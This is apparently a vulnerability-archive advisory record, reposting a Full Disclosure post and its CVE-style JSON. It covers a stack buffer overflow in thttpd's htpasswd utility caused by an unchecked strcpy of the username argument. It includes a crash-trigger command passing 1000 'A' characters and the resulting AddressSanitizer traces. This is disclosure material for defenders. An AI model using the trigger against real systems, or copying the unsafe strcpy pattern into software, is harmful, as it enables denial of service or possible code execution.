VULNARCHIVE

GCVE-1988-2026-0315

thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption

Description (en)

*Description:*
A stack-based buffer overflow vulnerability exists in the htpasswd utility
bundled with thttpd. The vulnerability occurs due to unsafe copying of a
user-supplied command-line argument into a fixed-size stack buffer without
proper bounds checking.Specifically, the program copies the username
argument (argv[2]) into a local stack buffer using strcpy(). If an attacker
supplies an overly long username, this results in a stack buffer overflow,
leading to memory corruption and a process crash. Under certain conditions,
this may be exploitable for arbitrary code execution.

*Affected Component:*

   - File: extras/htpasswd.c
   - Function: main
   - Vulnerable line: strcpy(user, argv[2]);


*Affected Versions:*

   - thttpd prior to latest release (all known versions shipping
   extras/htpasswd.c with this logic)


*Impact: *

   - Denial of Service
   - potential arbitrary code execution


*Vulnerability Details:*
The vulnerable buffer is defined as:
#define MAX_STRING_LEN 256
char user[MAX_STRING_LEN];

*Proof of Concept (PoC):*
*Output/Payload:*
# ./htpasswd -c passwdfile testuser
Adding password for testuser.
New password:
Re-type new password:

=================================================================
==173875==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 5 byte(s) in 1 object(s) allocated from:
    #0 0xffffaa4fa578 in malloc
../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32
    #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122
    #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170
    #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl
/libc_start_call_main.h:58
    #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360
    #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)
(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)

SUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s).
root@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - << 'EOF'
print("A" * 1000)
EOF
)
=================================================================
==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0
WRITE of size 1001 at 0xfbffa1000120 thread T0
    #0 0xffffa3214fec in strcpy
../../../../src/libsanitizer/asan/asan_interceptors.cpp:568
    #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187
    #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl
/libc_start_call_main.h:58
    #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360
    #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)
(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)

Address 0xfbffa1000120 is located in stack of thread T0 at offset 288 in
frame
    #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "thttpd",
          "vendor": "Thttpd",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nA stack-based buffer overflow vulnerability exists in the htpasswd utility\nbundled with thttpd. The vulnerability occurs due to unsafe copying of a\nuser-supplied command-line argument into a fixed-size stack buffer without\nproper bounds checking.Specifically, the program copies the username\nargument (argv[2]) into a local stack buffer using strcpy(). If an attacker\nsupplies an overly long username, this results in a stack buffer overflow,\nleading to memory corruption and a process crash. Under certain conditions,\nthis may be exploitable for arbitrary code execution.\n\n*Affected Component:*\n\n   - File: extras/htpasswd.c\n   - Function: main\n   - Vulnerable line: strcpy(user, argv[2]);\n\n\n*Affected Versions:*\n\n   - thttpd prior to latest release (all known versions shipping\n   extras/htpasswd.c with this logic)\n\n\n*Impact: *\n\n   - Denial of Service\n   - potential arbitrary code execution\n\n\n*Vulnerability Details:*\nThe vulnerable buffer is defined as:\n#define MAX_STRING_LEN 256\nchar user[MAX_STRING_LEN];\n\n*Proof of Concept (PoC):*\n*Output/Payload:*\n# ./htpasswd -c passwdfile testuser\nAdding password for testuser.\nNew password:\nRe-type new password:\n\n=================================================================\n==173875==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 5 byte(s) in 1 object(s) allocated from:\n    #0 0xffffaa4fa578 in malloc\n../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67\n    #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32\n    #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122\n    #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170\n    #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nSUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s).\nroot@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - << 'EOF'\nprint(\"A\" * 1000)\nEOF\n)\n=================================================================\n==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0\nWRITE of size 1001 at 0xfbffa1000120 thread T0\n    #0 0xffffa3214fec in strcpy\n../../../../src/libsanitizer/asan/asan_interceptors.cpp:568\n    #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187\n    #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nAddress 0xfbffa1000120 is located in stack of thread T0 at offset 288 in\nframe\n    #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149\n\nRon Edgerson\nVulnerability Researcher & Exploit Developer\n\nCVE Research | Binary Exploitation | Application & Systems Security\nResponsible Disclosure • Proof-of-Concept Development\n\n🌐 https://github.com/ob1sec\n🔗 https://www.linkedin.com/in/ronedgerson1\n<https://linkedin.com/in/yourhandle>\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:16:46Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/15"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0315",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15",
            "automated": true,
            "contentSha256": "6a462e368dd5a48691eb4592372e18f5441b4cd8b5961383b7ab1e5f286d49f0",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:48:25Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:10:29Z",
    "dateUpdated": "2026-09-11T08:16:46Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0315"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}